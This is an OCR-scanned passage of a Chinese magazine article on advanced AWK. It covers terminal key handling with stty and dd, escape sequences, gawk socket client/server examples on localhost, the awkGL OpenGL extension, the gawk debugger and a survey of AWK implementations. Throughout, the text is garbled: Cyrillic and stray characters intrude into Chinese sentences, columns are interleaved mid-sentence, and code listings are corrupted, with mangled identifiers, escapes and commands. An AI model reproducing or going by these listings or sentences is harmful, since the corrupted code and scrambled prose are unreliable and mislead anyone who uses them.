ey 所 以 在 按 下 (Enter) 键 以 前 ， ш 另外 在 终端 中 有 Echo 这 个 功能 。 这 个 功 
会 被 输送 到 终端 的 程序 中 的 。 因 为 这 能 可 以 将 输入 的 字符 显示 在 终端 中 ， 这 样 我 们 








фе, 的 存在 ， 在 输入 有 误 的 时 候 可 Кин ЖАН] IERA Л АА НТА, АТУ, 
修正 ， 大 部 分 情况 下 是 很 方便 的 。 但 是 在 像 本 下 也 是 一 项 很 方便 的 功能 。 但 是 如 条 将 输入 的 
次 这 样 需要 实时 处 理 按键 输入 的 情况 下 ， 这 个 按键 都 显示 在 游戏 画面 中 的 话 ， 那 么 画面 就 会 
































#2 AwkMine 的 操作 方法 Уу 82 执行 get_key.awk 
jz 键 操 作 $ awk -f get key.awk 
向 左 移动 光标 You hit [ h ]. 
向 下 移动 光标 i 
向 上 移动 光标 You hit [ 
ii 向 右 移 动 光标 You hit [ 
5 ИРЕ тр еи 
Є 移动 光标 全 末 行 You hit С 
0 移动 光标 至 行 首 а С 
; 移动 光标 至 行 未 ы 
空格 打开 光标 所 在 的 单元 
f 在 光标 处 放下 旗帜 / 拔 出 旗帜 (开关 操作 ) 
q 退出 AwkMine 








甩 代 码 清单 1 get_key.awk 


1:#!/bin/awk -f 

2:function getkey( аа ста, key) + 

3: # 使 用 dd 命令 获取 用 户 按 下 的 按键 

4 аа ста = "dd bs=1 count=1 2>/dev/null" 
Буз dd_cmd | getline key 

6: сіоѕе(аа ста) # 获取 按键 后 关闭 

7: return key 

8:} 


Q: 
10:BEGIN < 
WE system("stty гам -echo") # 关闭 终端 的 Buffering 和 Echo 
12: 
15: ОСОРО 
n key = getkey() Н 获取 按 下 的 按键 
16: # 如 果 是 无 法 显示 的 字符 ， 则 在 这 里 将 它们 转换 为 字符 串 
1@- if (key == "\п" || key == "\r") key = "Enter" 
18: else if (key == " ") key = "Space" 
19: else if (key == "\t") key = "Tab" 
20: else if (key == "\033") key = "Escape" 
21: 
22: print “You hit L", key, "I." 显示 按 下 的 按键 
23: # 因为 终端 的 环境 发 生 了 变化 ， 所 以 这 里 输出 Ar 使 光标 移动 到 行 首 
24: printf "\г" 
25: 
26: if (key == "q") exit 0 Я 按 下 的 按键 如 是 q 键 则 退出 
2: } 
28:} 
29: 
30:END < 
31: # 在 终止 前 恢复 终端 的 环境 (开启 Buffering 和 Echo) 
32: System("stty cooked echo") 
55: print "exit..." 
DEY 
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UNIX 工 程 师 的 喜好 | 
特辑 ] 从 现在 开始 sed/AWK 再 入 门 


лк18__ ин А i T AN 

се 团 糟 ， 所 以 在 AwkMine 中 ， 它 也 十 分 СЕ) иш | 
Fo 

在 这 里 , 为 了 关闭 Buffering 和 Echo， 我 AwkMine 必须 能 够 在 终端 的 任意 位 置 显示 

们 可 以 使 用 stty 命 令 。 在 程序 开始 时 使 用 字符 ， 并 且 可 以 自由 地 移动 光标 才 行 。 我 们 可 

system 国 数 调用 stty 命 令 后 ， 便 可 关闭 终端 的 以 癌 终 端 发 送 被 称 为 “ 转 义 序列 ”的 终端 控制 























Buffering 和 Echo。 在 stty 命 令 中 添加 raw 选 项 ， 字符 串 来 实现 这 个 功能 。 具 体 如 何 问 终端 发 送 

可 将 Buffering 关 闭 ; 添加 -echo 选 项 ， 则 可 以 ШЕ? 其 实 只 要 人 简单 地 使 用 printf 进 行 打印 就 可 

将 Echo 关闭 。 以 了 。 将 字符 串 打 印 出 来 ， 其 实 就 是 将 字符 串 
之 后 ,通过 管道 ,使 用 dd 命令 来 实际 获 发 送 到 了 终 问 。 让 我 们 实际 来 使 用 看 看 。 

得 用 户 的 按键 输入 。dd 是 一 个 将 数据 直接 从 标 在 终端 中 执行 


准 输入 输送 到 标准 输出 的 命令 。 因 此 ， 通 过 管 
道 将 dd 命令 的 标准 输出 直接 传递 给 AWK 之 后 ， 
我 们 就 可 以 在 AWK 中 获取 用 户 的 输入 了 。 由 之 后 ， 终 端 并 没有 显示 "033[2J"， 取 而 代 之 的 
于 1 个 按键 输入 是 1 个 字 节 ， 所 以 在 第 4 行 中 ， 是 画面 被 清空 了 。 其 实 这 是 因为 033[2 覆 字符 
我 们 添加 了 参数 bs=1 count=1， 这 样 就 会 只 传 串 就 是 将 画面 清空 的 转 义 序列 。 除 此 以 外 ， 还 
递 1 字 的 数据 。 另 外 ， 因 为 dd 的 其 他 输出 会 有 可 以 指定 字符 及 背景 颜色 、 属 性 ( 粗 体 或 者 
弄 乱 画面 ， 所 以 我 们 将 标准 错误 输出 丢弃 。 下 划 线 ) 以 及 移动 光标 的 转 义 序列 。 表 3 中 列 
我 们 在 程序 退出 之 前 再 次 调用 stty， 恢 复 举 了 几 个 AWK 使 用 转 义 序列 的 例子 。 

终端 的 环境 。 在 第 26 行 的 BEGIN 区 块 中 调用 &@ а 二 

exit 后 ,看 起 来 END 区 块 中 的 处 理 就 被 跳 过 了 ， 


$ awk 'BEGIN{printf "\033Ľ2J"}' 


























但 事实 上 AWK 在 执行 exit 时 会 自己 调用 END 限于 篇 幅 的 原因 , 这 里 没有 办 法 刊登 
区 块 中 的 内 容 乌 。 AwkMine 的 全 部 源码 ， 其 他 的 示例 代码 请 读者 
另外 , 在 AWK 出 现 异 常 终止 等 时 ，END 自行 去 图 灵 社 区 本 杂志 的 支持 页 面 下 载 ©. 

区 块 内 的 ssty 命 令 没 有 被 执行 ， 终端 便 会 变 得 AwkMine 在 获取 用 户 按键 输入 之 前 ， 一 直 


十 分 奇怪 。 这 时 请 先 按 下 [G 岂 -上 凯 键 ， 之 后 输 处 于 等 待 状态 ， 但 是 我 们 也 可 以 在 按键 输入 中 
人 “stty sane”， 之 后 再 次 按 下 (Сн) –(Ј) gE, Йй 加 入 超时 的 相关 功能 。 如 果 加 入 了 超时 的 相关 
入 的 内 容 可 能 并 不 会 显示 在 终端 中 ， 但 不 论 如 计算 ， 我 们 就 可 以 为 AwkMine 加 入 计时 功能 。 





何 请 先 输入 上 面 的 内 容 。 这 样 终端 便 会 恢复 成 通过 合理 运用 本 节 的 内 容 , 使 用 AWK Э: 
可 以 正常 使 用 的 状态 。 








© 本 例 中 之 所 以 全 部 使 用 printf， 是 因为 在 转 义 序列 之 后 不 
想 输出 多 余 的 换行 符 。 将 ORS 设 定 为 空 字符 串 的 话 ， 即 





@ 如 果 在 END 区 块 中 调用 exit， 则 并 不 会 再 次 调用 END 区 使 使 用 print， 也 不 会 输出 换行 符 。 
块 中 的 内 容 ， 所 以 不 用 担心 会 出 现 无 限 循环 。 (2) 打开 http://www.ituring.com.cn/book/1270， 点击“ 随 书 下 载 ”。 


У Ж3 ” AWK 使 用 转 义 序列 的 例子 
转 义 序列 的 使 用 方法 示例 
printf "\033[2J" 清空 画面 

printf "\033[%d;%dH", r, c 将 光标 移动 到 第 r 行 第 c 列 
printf "\033[%dA", п 将 光标 向 上 移动 n 行 
printf "\033L01m" 
printf "\033L41m" 
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现 vi 那样 的 编辑 器 或 者 VisiCalc 那 样 的 表 计 算 
软件 都 是 可 能 的 。 


使 用 gawk 进行 
网 络 编程 


GNU 实 现 的 AWK СМО АМК ( gawk ) 可 
以 使 用 Socket 进 行 网 络 通信 。 本 节 将 向 大 家 讲 
解 如 何 使 用 gawk 进行 网 络 编程 。 
GO 编 写 简单 的 客户 端 /服务 端 系统 

那么 接 下 来 我 们 就 用 gawk 来 编写 一 个 使 
ЊН TCP/IP 进行 通信 的 简单 的 客户 端 / 服 务 端 
系统 。 

这 里 编写 的 客户 端 和 服务 端 分 别 按照 下 面 
的 方式 运作 。 客 户 问 将 从 标准 输入 中 读 取 的 内 
容 以 行为 单位 原样 发 送 给 服务 端 。 服 务 端 在 收 
到 的 字符 串 前 加 上 "-"， 并 显示 在 标准 输出 中 。 
代码 清单 2 的 serverawk 是 服务 端的 代码 ， 代 
码 清单 3 的 clientawk 是 客户 端的 代码 。 

实际 使 用 时 , 我 们 需要 打开 两 个 终端 。 首 先 ， 
在 一 个 终端 上 执行 serverawk 后 ， 会 看 到 服务 
端 会 显示 "listening.…"， 并 进入 等 待 状 态 。 之 
后 ， 在 另 一 个 终端 上 执行 clientawk， 并 在 终 
问 中 输入 合适 的 字符 串 。 最 后 输入 换行 ， 将 字 
































У (55688 2 server.awk 


1: #1 /иѕг/ріп/дамк -f 
2:ВЕСІМ < 


3 net = "/inet/tcp/8080/0/0" 
A 

5 ТОРС 

6б: print "listening..." 

Тї 

8: while (net |& getline recv > 0) 
9: print = " recv 
10: 
11: close(net) 
12: } 
15:2} 


vB client.awk 
1:#!/usr/bin/gawk -f 


2 
3 
4: # 发 送 目的 地 为 Locahost 的 8080 端 口 
5 
6 


E 将 从 标准 输入 读 入 的 内 容 ， 原 样 发 送 给 服务 端 
print $0 |& "/inet/tcp/0/localhost/8080" 


高 手 教 你 用 sed/Awk ШРУЛР 
深入 AWK 编 程 Рана 








符 串 发 送 到 服务 端 ， 这 时 字符 串 将 显示 在 执行 
server.awk 的 终端 上 。 使 用 (0) 输入 EOF 
(Епа Of File ) 之 后 ， 客 户 闻 将 断 开 连接 ， 服 务 
端 将 恢复 等 待 状态 ， 再 次 局 动 客 户 端 的 话 便 会 
进行 一 次 新 的 通信 。 图 3、 图 4 是 执行 时 的 样子 。 
最 后 ， 请 使 用 ct 有 -[G] 终 止 服务 端 。 


9 gawk 网 络 功能 的 使 用 方法 


现在 我 们 参考 server.awk 和 client.awk， 问 
大 家 详细 讲解 gawk 的 网 络 功能 。 











双向 管道 

ТЕ serverawk 和 clientawk 中 ， 我 们 使 用 了 
通常 在 AWK 程序 中 见 不 到 的 |& 运 算 符 。 

这 个 |&& 称 为 双 癌 管道 ， 是 gawk 中 独 有 的 
运算 人生。 就 如 它 的 名 字 一 样 ， 该 运算 符 被 用 于 
和 外 部 命令 使 用 管道 进行 双 癌 通信 。 使 用 方法 
和 通 津 的 管道 运算 符 | 一 样 ， 使 用 print、printf 
将 数据 写 和 对方 的 标准 输入 ,使 用 getline 从 对 
方 的 标准 输出 获得 数据 。 与 管道 运算 符 有 所 不 
同 的 是 ， 双 回 管 道 运算 符 可 以 对 一 条 命令 同时 
进行 谈 和 写 两 种 操作 。 

图 $ 是 使 用 双 回 管道 和 外 部 命令 通信 的 例 
子 。 由 于 AWK 无 法 进行 很 精确 的 计算 ， 因此 























# 等 待 端 口 为 8080 


# 接收 一 行 Ак 
# 将 接收 到 的 字符 串 显示 在 终端 


н 天 闭 连 接 ， 等 待 接收 下 一 个 客户 端 





| 
иш 
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UNIX 工 程 师 的 喜好 
特辑 ] 从 现在 开始 sed/AWK 再 入 门 





у з 进行 通信 (服务 端 ) 


$ gawk -f server.awk < 一 由 启动 服务 端 
listening... (2 等 待 状态 
– Hello. +B) 显示 从 客户 端 接收 到 的 字符 
- 这 东西 会 动 ! 
- _AWK 是 个 好 东西 
Listening... 7) 服务 端 再 次 进入 等 待 状态 
– 1 O seq 命 令 的 输出 显示 在 这 里 


г 

=> 

-4 

күэ; 

listening... 

AC =—(%О ЖЕН (сї) — (С) 1Е 55 
$ 





у” 4 进行 通信 (客户 端 ) 


$ gawk -f client.awk 3) 启动 客 户 端 

Hello. АЛ АЛ 

这 东西 会 动 | 

AWK 是 个 好 东西 

^D < 一 6) 使 用 [ct 中- 品 ] 输 入 E0F， 结 束 通信 
$ seq 5 | gawk -f client.awk <*-(8) 这 次 发 送 seq 命 令 的 输出 

$ 





有 图 5 使 用 双 癌 管道 和 外 部 命令 进行 通信 


$ awk 'BEGIN < 
num = 2 ^ 200 
print пит 


cmd = "bc" 

print "2 ^ 200" |& cmd # 将 数据 写 入 到 bc 的 标准 输入 中 

ста |& getline пит # 从 bc 的 标准 输出 读 取 数 据 

print пит 
}! 
1606938024258990275541962092341162602522203000000000000000000 < 一 使 用 awk 没有 办 法 计算 得 足够 精确 
1606938044258990275541962092341162602522202993782792835301376 < Ос 的话 可 以 正确 地 计算 出 结果 
$ 





这 里 通过 和 bc 命令 进行 通信 , 来 从 bc 命令 中 接 下 来 器 大 家 讲解 一 下 特殊 文件 中 各 个 字 
获取 精确 的 计算 结果 。 段 的 意义 。 
特殊 文件 net-type 

双 回 管道 的 通信 对 象 ， 除 了 外 部 命令 之 外 ， “指定 为 "inet4"、"inet6"、"int" 中 的 任 一 
还 可 以 指定 成 被 称 为 “特殊 文件 ”的 字符 串 ， ФА Ф. 
之 后 便 可 以 使 用 Socket 进 行 通 信 。 特殊 文件 在 “ 若 指 定 为 "inet4"， 则 使 用 IPv4 进 行 通信 ; 
server.awk 的 第 3 行 和 client.awk 的 第 5 行 中 有 若 指 定 为 "inet6"， 则 使 用 IPv6 进 行 通信 。 
所 使 用 ， 是 由 正和 斜 杜 分 割 的 字段 所 组 成 的 字符 “关于 指定 为 "inet" 时 的 行为 ， 在 hostname 





зея Э, 


$, W PZR 


ч 
= 


/net-type/protocol/localport/hostname/ 
remotepor t © ТЕ 4.0.0 版 本 以 前 的 awk 中 并 没有 IPv6， 所 以 net-type 只 
可 以 指定 为 "inet"。 当 然 也 就 使 用 IPv4 进 行 通信 。 
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protocol 
“指定 使 用 的 协议 。 
“ 指定 为 "tcp" 或 者 "udp" 中 的 任意 一 项 协议 。 


localport 
“指定 服务 端 程序 等 待 的 端口 号 。 
“客户 端 程序 的 话 指定 为 "0"。 


hostname 

“客户 端 程序 中 指定 为 连接 目的 地 的 主机 名 。 

“服务 端 程序 的 话 指定 为 "0"。 

“主机 名 可 以 指定 为 PV4 地 址 (例如 127.0.0.1 X 
IPV6 地 址 (例如 0:0:0:0:0:0:0:1 )、 域 名 ( 例 
如 localhost、gihyo.jp ) 中 的 任意 一 项 。 

“net-type 指定 为 "inet" 时 ,根据 hostname 
指定 内 容 的 不 同 ， 会 有 如 下 行为 。 

=> 指定 为 IJPv4 地 址 一 使 用 IPv4 

> 指定 为 IJPv6 地 址 一 使 用 IPv6 

> 指定 为 域名 一 使 用 系统 默认 的 类 型 





remoteport 
“客户 端 程序 中 指定 为 连接 目的 地 的 端口 号 。 
“服务 端 程序 的 话 指定 为 "0"。 


言 息 的 收 友 

在 网 络 通 信 中 ， 使 用 print 或 者 printf 回 双 
问 管 道 写 入 数据 ， 则 信息 就 会 被 发 送 给 对 方 ; 
(EJH getline 从 双 癌 管道 中 读 取 数据 ， 则 会 接收 
到 信息 。getline 在 连接 中 断 时 将 返回 0。 








通信 结 

JE close 函数 中 指定 特殊 文件 , 便 可 将 连 
接 中 断 。 

97 УК, EA E 2 АВ yE ЛН close рК ВУ, 
gawk 终 止 时 也 会 目 动 地 进行 close 处 理 。 因 此 ， 
在 client.awk 中 并 没有 调用 close РАЖ. 


бйз ж 


gawk 的 网 络 功能 中 ,因为 对 较为 底层 的 
Socket 函 数 进行 了 封装 ， 所 以 没有 办 法 进行 十 





高 手 教 你 用 sed/Awk ШРУЛР 
深入 AWK 编 程 Pona 


分 精确 的 控制 ， 但 是 也 正 因为 如 此 ， 我 们 可 以 
十 分 轻松 地 编写 网 络 应 用 程序 。 

网 络 上 有 着 许 许 多 多 的 使 用 了 gawk 网络 
功能 的 应 用 程序 , MU Web Iki iro E A E 
ТЛ Д ERRA 20 2077 ВЕНУ АЕ, 126 
使 用 gawk 网 络 功能 。 特 别 是 在 处 理 以 字符 串 
为 主 的 协议 时 ， 灵 活 应 用 gawk 强 大 的 字符 串 
操作 功能 是 十 分 重要 的 。 当 然 ，gawk 在 以 二 
进 制 为 主 的 通信 中 也 可 以 使 用 。 在 GitHub 上 ， 
有 人 公开 了 和 名 叫 gnu-awk-youtube-downloader 
的 视频 下 载 帮 ， 笔 者 最 初 看 到 时 感到 十 分 震惊 。 


使 用 AWK 进行 
3D 编程 

gawk 可 以 使 用 C 语 言 进行 “动态 的 扩展 ”。 
也 就 是 说 ， 我 们 可 以 在 AWK 的 代码 中 调用 使 
用 C 语 言 编写 的 函数 ©@。 有 了 这 项 功能 , 可 以 说 
我 们 就 能 够 使 用 gawk 做 任何 事 。 

这 里 以 笔者 所 写 的 gawk 的 OpenGL 扩展 
awkGL 为 例 进 行 介绍 。awkGL 是 一 个 可 以 在 
gawk 上 使 用 OpenGL 进行 2D/3D 图 形 编 程 的 扩 
展 ， 具 有 窗口 控制 、 键 盘 以 及 鼠标 的 输入 事件 
处 理 、 光 影 效果 等 OpenGL (05 СОТ?) 
的 基本 功能 。 使 用 awkGL， 我 们 可 以 在 awk 中 
实现 物理 模拟 大 、3D 游戏 等 程序 。 男 外 ， 配 
合 gawk KJ OpenCV H“ 3 OpenCV-AWK °, # 
gawk 上 开发 AR( 增 强 现 实 技术 ) 应 用 程序 也 是 
可 能 的 。 

代码 清单 4 是 一 个 使 用 awkGL 进行 3D 编 
程 的 示例 代码 。 该 程序 会 显示 一 个 添加 了 光影 
效果 的 茶壶 ， 执 行 结 果 如 图 6 所 示 。 茶 壶 在 窗 
口中 显示 ， 按 下 键盘 上 的 [dj 键 即 可 关闭 窗口 。 





























© 更 加 准确 地 说 ， 这 是 使 用 动态 加 载 功 能 加 载 动 态 库 ， 将 
导出 函数 添加 至 gawk 中 的 一 项 功能 。 另 外 ,在 gawk 的 
文档 中 并 没有 这 个 功能 的 专用 名 ， 所 以 笔者 在 这 里 将 其 
称 为 “C 扩 展 ”。 

D 在 使 用 OpenGL 进行 和 Windows 操 作 系 统 交 互 等 依赖 系 
统 环境 的 处 理 时 的 一 个 补充 库 。 


可 以 使 用 Web 摄 像 头 读 取 动 画 ， 实 现 人 脸 误 别 。 
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CZ: ЄВ 
想 要 开发 C 扩 展 的 朋友 ， 请 参见 gawk 的 Уу 6 使 用 awkGL 显示 茶壶 
用 户 文档 咏 以 及 gawk 源 代码 中 的 示例 代码 。 тини 














寺 别 是 在 看 过 了 示例 代码 后 ， 我 们 应 该 立刻 就 
可 以 开始 编写 简单 的 扩展 。 本 功能 除了 可 以 问 
gawk 添 加 功能 以 外 ， 还 可 用 于 在 gawk 中 执行 
使 用 C 语 言 所 写 的 测试 。 


(9) http://www.gnu.org/software/gawk/manual/gawk.htm1 


想 要 下 载 gawk 源 代码 的 话 ， 可 以 在 http://www.gnu.org/ 
prep/ftp.html 中 选择 自己 附近 的 镜像 站 点 进行 下 载 。 示 
例 代码 在 源 代码 根 目 录 中 的 extension 目录 中 。 





有 代码 清单 4 ”使 用 awkGL 显 示 茶 谈 的 代码 


:BEGIN + 
extension("./awkgl.so", "dlload") # 加 载 awkGL 


1 
2 
3 
4: SetWindowPosSize(250, 50, 500, 500) 
5: glutCreateWindow("Lighting Teapot") 
6: glClearColor(16, 16, 16) 

7 

8 

9 


glEnable("LIGHTING") # 开启 光影 效果 


В glLight(0, "SPECULAR", 1.0, 1.0, 1.0, 1.0) 
10: glLight(0, "DIFFUSE", 0.8, 0.8, 0.8, 1.0) 
Ti: glLight(0, "AMBIENT", 0.4, 0.4, 0.4, 1.0) 
12: glLight(0, "POSITION", 100, 500, 0, 0) 
15: glLight(0, "DIRECTION", ©, 0, 0) 
14: 
15: glutMainLoop() 
16:} 
17: 
18:function keyboard(key, х, у) < # 如 果 有 按键 被 按 下 ， 则 该 函数 会 被 调用 
19: Switch (key) < 
20 : case "q": н FTF q 键 则 终止 程序 
271 print “exit: ~ 
22: exit 
25: } 
24: } 
25% 
26:function reshape(width, height) + 
аг: glViewport(0, 0, width, height) 
28: glMatrixMode("PROJECTION") 
29: glLoadIdentity() 
30: gluPerspective(45, width / height, 1, 2000) 
51: gluLookAt(190.0, 190.0, -100.0, 0.0, 20.0, 0.0, 0.0, 1.0, 0.0) 
32: glMatrixMode("MODELVIEW") 
55) 
ЗА: 
35:function display() + 
56: glLoadIdentity() 
БРЕ "”РгамАхеѕ (110) # 绘制 X-Y-Z 轴 
38: glMaterial ("BOTH", "SHININESS", 128) 
39: glMaterial ("BOTH", "SPECULAR", 1.0, 1.0, 1.0, 1.0) 
40: glMaterial ("BOTH", "DIFFUSE", 0.8, 0.8, 0.8, 1.0) 
41: glMaterial ("BOTH", "AMBIENT", 0.5, 0.5, 0.5, 1.0) 
42: glutSolidTeapot(50) # 绘制 茶壶 
43:3} 


/0 








awk 的 调试 器 


4.1.0 以 后 的 版 本 中 , 在 局 动 时 添加 -D 选 
项 ， 便 可 以 进入 AWK 的 调试 器 。 这 个 调试 器 
是 和 GDB 连 接 的 命令 行 调 试 器 ， 调 试 命令 的 
名 字 以 及 行为 和 GDB 都 十 分 相似 (图 7)。 但 
是 在 命令 行 中 的 操作 效率 实在 是 不 太 高 ， 笔 
者 编写 了 一 个 可 以 在 Vim 上 使 用 的 名 叫 АУР 
( AWK Visual Debugger ) 的 调试 紫 前 端 。 图 8 
是 在 AVD 上 Step 执 行 AWK 程序 的 样子 。 第 6 
行 作 为 现在 执行 的 Step， 被 高 亮 了 出 来 。 第 2 
行 左 侧 显 示 的 "@" 表 示 断 点 。 并 且 ， 由 于 光标 
处 于 第 5 行 的 sum 变量 上 ， 因 此 在 画面 的 最 下 








У 7 gawk 的 调试 器 模式 


$ cat -n tst.awk 
BEGIN < 
print "start" 
for Gi = 0; 1 < 10; i++) 
sum += 1 
avg = sum / 10 
print avg 
print "end" 
8 } 
$ gawk -D -f tst.awk 
gawk> 显示 提示 符 
gawk> break 2 
Breakpoint 1 set at file ‘tst.awk', line 2 
gawk> run 
Starting program: 
Stopping in BEGIN ... 
Breakpoint 1, main() at `tst.awk':2 
print "start" 
gawk> step 





在 调试 器 模式 下 启动 gawk 


< 二 使 用 run 命令 开始 执行 


高 手 教 你 用 sed/AWK 


深入 AWK 编 程 〖 Pors } 


ү / 8 





у ШТ “зит = 45”。 在 与 执行 代码 分 隔 开 
来 的 下 方面 面 中 ， 显 示 了 AWK 程序 的 输出 结 
果 (“sum”“45”)。 





QD 在 vim 中 称 为 命令 行 窗口 。 


У 8 ”使 用 AVD 进行 Step 执 行 


Ше (=) - CVIM 





avd out] 6 @таіп ->  :та!п 


< = 45 
SUR = 4) 


一 显示 作为 调试 对 象 的 AWK 脚 本 的 行 号 


< 使 用 break 命 令 在 第 2 行 设置 断 点 
< 成 功 设置 断 点 


二 停止 在 了 第 2 行 的 断 点 处 


<В step 命 令 进行 step 执 行 


start 二 第 2 行 的 print 语 句 的 输出 


3 for G = 0; 1 < 10; 1++) 


ЕСД 一 如 果 在 不 输入 任何 命令 的 情况 下 按 下 回 车 键 ， 便 会 重复 之 前 的 命令 (这 里 是 step) 


4 sum += 1 

gawk> 

3 for (1 = 0; 1 < 10; i++) 
gawk> 

4 Sum += 1 

gawk> break 7 

Breakpoint 2 set at file ‘tst.awk', line 7 
gawk> continue 


EE T 行 设置 断 点 


< 使 用 continue 命 令 一 口气 执行 到 第 7 行 


4.5 < 二 第 6 行 的 print 语 句 的 输出 


Breakpoint 2, main() at ‘tst.awk':7 
7 print "епа" 

gawk> print avg 

avg = 4.5 

gawk> continue 


二 停止 在 了 第 7 行 的 断 点 处 


< 一 使 用 pri nt 命令 确认 变量 avg 的 值 
< 一 avg 的 值 被 显示 了 出 来 


< 一 使 用 cont inue 命令 执行 到 最 后 


end 二 第 7 行 的 print 语 句 的 输出 


Program exited normally with exit value: 0 
gawk> quit 
$ 





程序 正常 结束 
二 使 用 quit 命 令 退 出 调试 器 


ГІ 
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从 现在 开始 sed/AWK 再 入 门 


UNIX 工程 师 的 喜好 
地 辑 ] 





这 样 一 来 ， 我 们 使 用 AWK 进行 大 规模 应 
用 开发 的 环境 就 准备 好 了 。 


а 各 式 各 样 的 AWK 实现 


除了 本 次 介绍 的 gawk 以 外 ， 还 存在 许多 
AWK 的 实现 。 这 里 就 其 中 的 几 个 进行 一 下 介绍 。 


• памк 

首先 是 Kernighan 等 原创 的 一 个 实现 
nawk 思 。nawk 现 在 还 有 人 在 维护 ， 并 且 是 很 多 
BSD 系 操作 系统 所 采用 的 默认 的 AWK ЗС 
nawk 是 New АМК 的 简称 ， 要 说 具体 new 在 什 
么 地 方 ( 新 在 哪里 )， 其 实在 刚刚 诞生 的 时 候 ， 
АМК 中 是 没有 用 户 定义 函数 以 及 动态 正则 表 
达 式 的 ， 其 功能 和 现在 的 AWK 相 比 差 了 许多 。 
之 后 Kernighan 等 基于 贝尔 实验 室内 外 的 需求 ， 
将 AWK 修 改 成 了 接近 现在 的 模样 ， 这 就 是 被 
称 为 “全 新 的 AWK” 的 New АМК. 现在 当 我 
们 单独 提 及 AWK 时 ,往往 指 的 都 是 这 个 新 的 
AWK。 旧 的 AWK 被 称 为 oawk(Old AWK 或 者 
说 是 Original АМК )。 在 Solaris 中 ， 现 在 还 存 
在 oawk 人 命令。nawk 现 在 被 称 为 One True AWK 
(唯一 的 正统 AWK )。 

















e gawk 

再 次 向 大 家 介绍 一 下 GNU AWK ( gawk P, 
gawk 束 如 它 的 名 字 所 示 , 是 GNU 的 AWK 实 现 ， 
是 现在 开发 最 活跃 的 AWK 实现 。 除 了 本 次 介 
绍 的 功能 以 外 ， 它 还 添加 了 诸如 正则 表达 式 运 
算 符 、switch 语 法 以 及 Profiler 等 各 式 各 样 的 
功能 。 绝 大 多 数 Linux 发 行 版 中 都 将 其 作为 默 
认 的 AWK 实现, 使 用 其 他 实现 的 发 行 版 中 一 
般 都 提供 了 可 以 下 载 的 官方 Package。gawk 在 
Linux 以 外 的 其 他 许多 环境 中 都 可 以 运行 。 根 























02) http://www.cs.princeton.edu/~bwk/btl.mirror 

@ 本 节 中 所 说 的 “默认 的 AWK 实 现 ” 是 指 “ 各 个 操作 系统 
在 进行 标准 安装 时 ，awk 命 令 所 执行 的 程序 ”。 

http://www. gnu.org/software/gawk 


据 笔 者 目前 的 调查 ， 这 是 唯一 
字 节 文字 处 理 的 AW 玫 实现。 


个 官方 文 持 多 





"mawk 

与 nawk 和 gawk 一 样 十 分 有 名 的 实现 ， 
还 有 Michael Brennan 开发 的 Michael's AWK 
( mawk )® , тамк 是 Debian 系 Linux 系统 默认 采 
用 的 AWK 实 现 ， 虽 然 不 像 gawk 那 样 ， 但 也 提 
供 了 一 些 扩 展 功能 。 但 是 mawk 最 大 的 特点 还 
是 在 于 它 的 高 速 执行 引擎 。mawk 的 执行 引擎 
Ж НИ fY ( Stack Machine ) 进 行 实现 ,执行 
速度 十 分 快 。 实 际 上 ,最 近 的 gawk 版 本 也 将 
百 接 执行 抽象 树 的 方法 和 蔡 换 为 了 堆栈 硕 。 但 是 
尽管 如 此 ， 速 度 还 是 不 及 mawk。 根 据 处 理 内 
容 的 不 同 ， 甚 至 会 有 数 倍 以 上 的 差距 。mawk 
官方 是 不 文 持 多 字 节 文字 处 理 的 ， 但 木村 海 一 
基于 mawk 开 发 了 一 蒜 名 叫 mawk MBCS 的 面 
а] Windows 环 境 的 派生 实现 ， 该 实现 可 以 处 理 
多 字 市 文字 。 男 外 ,为 了 可 以 将 mawk 骨 入 其 
他 应 用 程序 中 ， 还 存在 一 款 名 叫 libmawk АУК 
ERMO, 











e Jawk 

Jawk 是 运行 在 JVM E 的 АМК for JAVA 
(Jawk ) 实现。 使 用 Jawk, 我 们 可 以 在 Awk 代 
码 中 调用 Java 代 码 。 


• lawk 

还 存在 一 款 名 为 lawk 的 面向 LLYM AWK 
编译 器 的 AWK KIG, 目前 好 像 还 在 开发 的 过 
程 中 。lawk 本身 只 是 以 实验 为 目的 的 ， 它 的 目 
标 并 不 是 实际 投入 使 用 。 








* POSIX AWK 
这 里 向 大 家 讲解 一 下 POSIX AWK。 事 实 


(сл ) 


http://www.invisible-island.net/mawk 


(© ) 


http://repo.hu/projects/libmawk 


(з ) 


http://jawk.sourceforge.net 








(бо ) 


http://lawk.sourceforge.net 








上 了 POSIXAWK 是 POSIX 规 定 的 一 个 AWK 实 
现 标 准 ， 所 以 并 不 存在 名 叫 POSIX АМК 的 实 
现 。POSIX AWK 的 标准 基于 nawk， 但 它 并 不 
是 nawk。 在 本 方 中 , 我 们 提 到 了 “gawk 各 式 
各 样 的 功能 扩展 "， 这 里 的 “扩展 ”的 意思 就 是 
对 POSIX AWK 进行 了 扩展 。 也 就 是 说 POSIX 
AWK Æ “RERI AWK” -~ gawk 在 启动 时 添加 -- 
posix 选 项 后 ， 它 的 行为 就 会 和 POSIX AWK 
#0 

由 于 AWK 语 言 标准 在 不 同 语言 的 实现 中 
有 很 好 的 兼容 性 以 及 实用 性 ,并且 有 着 很 长 
的 历史 ， 因 此 还 存在 其 他 无 数 的 实现 。 商 用 
UNIX 中 有 时 会 采用 三 商 独 有 目 开 发 的 AWK 实 现 。 
尽管 如 此 ， 因 为 各 个 AWK 语言 标准 的 基本 功 
能 几乎 没有 任何 区 别 ， 所 以 只 要 没有 使 用 实现 
中 单独 添加 的 扩展 ,那么 AWK 代 码 将 具有 很 
高 的 移植 性 。 实 现 中 独 目 添加 的 扩展 ， 一 般 都 
会 注意 不 和 现存 的 语法 相 神 突 ， 几 乎 所 有 的 实 
现 文档 中 也 都 会 标明 和 POSIX AWK Д № памк 
的 差异 。 另 外 ，AWK 的 标准 在 nawk 开 发 出 来 
之 后 几乎 没有 什么 变化 ， 所 以 以 前 编写 的 代码 
同样 可 以 运行 在 现在 的 环境 中 。 

AWK 代 码 之 所 以 有 看 如 此 之 高 的 移植 性 ， 
可 能 很 大 程度 上 要 归功 于 AWK 是 UNIX 的 基 
本 工具 之 一 。 因 为 AWK 也 被 使 用 在 启动 脚本 
等 内 核 部 分 ,所 以 不 能 进行 太 夸张 的 语法 改 
变 。 另 外 ， 又 因为 它 是 基本 工具 ， 所 以 存在 着 
POSIX 标 准 也 是 重要 原因 之 一 。 当 然 ， 我们 也 
不 能 忘记 ，AWK 本 身 的 设计 也 是 十 分 优秀 的 。 

这 么 看 来 ， 想 必 以 后 AWK 的 语法 也 不 会 
发 生 很 大 的 变化 ， 所 以 现在 掌握 了 AWK， 以 
